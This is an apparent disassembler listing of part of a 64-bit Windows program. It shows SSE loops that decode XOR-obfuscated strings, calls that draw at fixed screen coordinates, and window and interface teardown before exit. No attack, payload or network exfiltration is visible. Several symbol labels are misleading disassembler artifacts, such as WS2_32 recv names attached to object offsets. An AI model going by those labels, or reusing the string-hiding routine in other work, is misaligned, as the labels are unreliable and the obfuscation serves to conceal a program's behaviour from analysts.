movaps xmm1, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm1
lea rdx, [rbp + 0x990]
lea rcx, [rbp + 0x98]
call fcn.14001cc90
mov rcx, rax
call fcn.140080650
mov qword [rbp + 0x5b0], rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x2e0], xmm1
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x2f0], eax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x3a0]
call fcn.1400806e0
mov r10, rax
movsd xmm0, qword [str.YJNePRYV.bC]
cmp qword [rax + 0x18], 0xf
jbe 0x14007f4c8
mov r10, qword [rax]
mov ecx, dword [0x1401209e0]
mov dword [rbp + 0x78], ecx
jmp 0x14007f4d1
mov eax, dword [0x1401209e0]
mov dword [rbp + 0x78], eax
movzx eax, byte [0x1401209e4]
mov byte [rbp + 0x7c], al
movsd qword [rbp + 0x70], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x14007f5f4
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YJNePRYV.bC]
xorps xmm2, xmm0
movd dword [rbp + 0x70], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x74]
xorps xmm2, xmm1
movd dword [rbp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x70]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14007f600
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x70]
mov rdx, r10
lea rcx, [rbp + 0x70]
call fcn.140066b10
nop
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14007f68c
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007f687
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007fc71
call fcn.1400ed6a0
mov dword [rbp + 0x268], 0x42f40000
mov dword [rbp + 0x26c], 0x42fa0000
lea rcx, [rbp + 0x268]
call fcn.140047270
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp + 0x570], xmm0
movaps xmm1, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm1
lea r10, [rbp + 0x8b0]
cmp qword [rbp + 0x8c8], 0xf
cmova r10, qword [rbp + 0x8b0]
movups xmm0, xmmword [0x1401209e8]
movups xmmword [rsp + 0x68], xmm0
movzx eax, word [0x1401209f8]
mov word [rsp + 0x78], ax
cmp byte [0x1401209f9], 0
je 0x14007f893
mov r8d, esi
cmp r15d, 2
jl 0x14007f84d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x6c]
mov edx, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14007f740
cmp r8d, 0x12
jge 0x14007f893
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14007f860
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x70]
mov rdx, r10
lea rcx, [rsp + 0x68]
call fcn.140066b10
mov dword [rbp + 0x270], 0x42f40000
mov dword [rbp + 0x274], 0x43160000
lea rcx, [rbp + 0x270]
call fcn.140047270
movaps xmm0, xmmword [0x1400f48c0]
movups xmmword [rbp + 0x570], xmm0
movaps xmm1, xmmword [0x1400f49a0]
movups xmmword [rbp - 0x70], xmm1
lea r10, [rbp + 0x890]
movups xmm0, xmmword [str.yMTXN]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmmword [rbp + 0x550], xmm0
mov byte [rbp + 0x568], al
movsd xmm0, qword [0x140120a10]
movsd qword [rbp + 0x560], xmm0
cmp qword [rbp + 0x8a8], 0xf
jbe 0x14007f927
mov r10, qword [rbp + 0x890]
mov r8d, esi
cmp r15d, 2
jl 0x14007fa7d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x554]
mov edx, dword [rbp - 0x80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007f970
cmp r8d, 0x19
jge 0x14007fac3
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14007fa90
lea r9, [rbp + 0x570]
lea r8, [rbp - 0x70]
mov rdx, r10
lea rcx, [rbp + 0x550]
call fcn.140066b10
mov edi, 1
call fcn.140037890
call fcn.140037fa0
call fcn.140042980
movaps xmm0, xmmword [0x140120ae0]
movups xmmword [rbp + 0xa58], xmm0
mov rcx, qword [0x1401481a8]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401481b8]
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x1401481a8]
mov rax, qword [rcx]
lea r8, [rbp + 0xa58]
mov rdx, qword [0x1401481b8]
call qword [rax + 0x190]
call fcn.140039fc0
mov rcx, rax
call fcn.14005fb70
test dword [r13], 0x400
je 0x14007fb5e
call fcn.14004a600
xor edx, edx
xor ecx, ecx
call fcn.1400441c0
mov rcx, qword [0x1401481b0]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x14007921b
mov dword [rbp + 0x710], reloc.WS2_32.dll_select
call fcn.140060980
call fcn.140061be0
xor ecx, ecx
call fcn.14002f5f0
call fcn.140077cf0
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x520]
call qword [sym.imp.USER32.dll_UnregisterClassA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140060980
call fcn.140061be0
xor ecx, ecx
call fcn.14002f5f0
mov rcx, qword [0x1401481b8]
test rcx, rcx
je 0x14007fbf1
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401481b8], rsi
mov rcx, qword [0x1401481b0]
test rcx, rcx
je 0x14007fc0a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401481b0], rsi
mov rcx, qword [0x1401481a8]
test rcx, rcx
je 0x14007fc23
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401481a8], rsi
mov rcx, qword [0x1401481a0]
test rcx, rcx
je 0x14007fc3c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1401481a0], rsi
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x140078d95
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007ff70
int3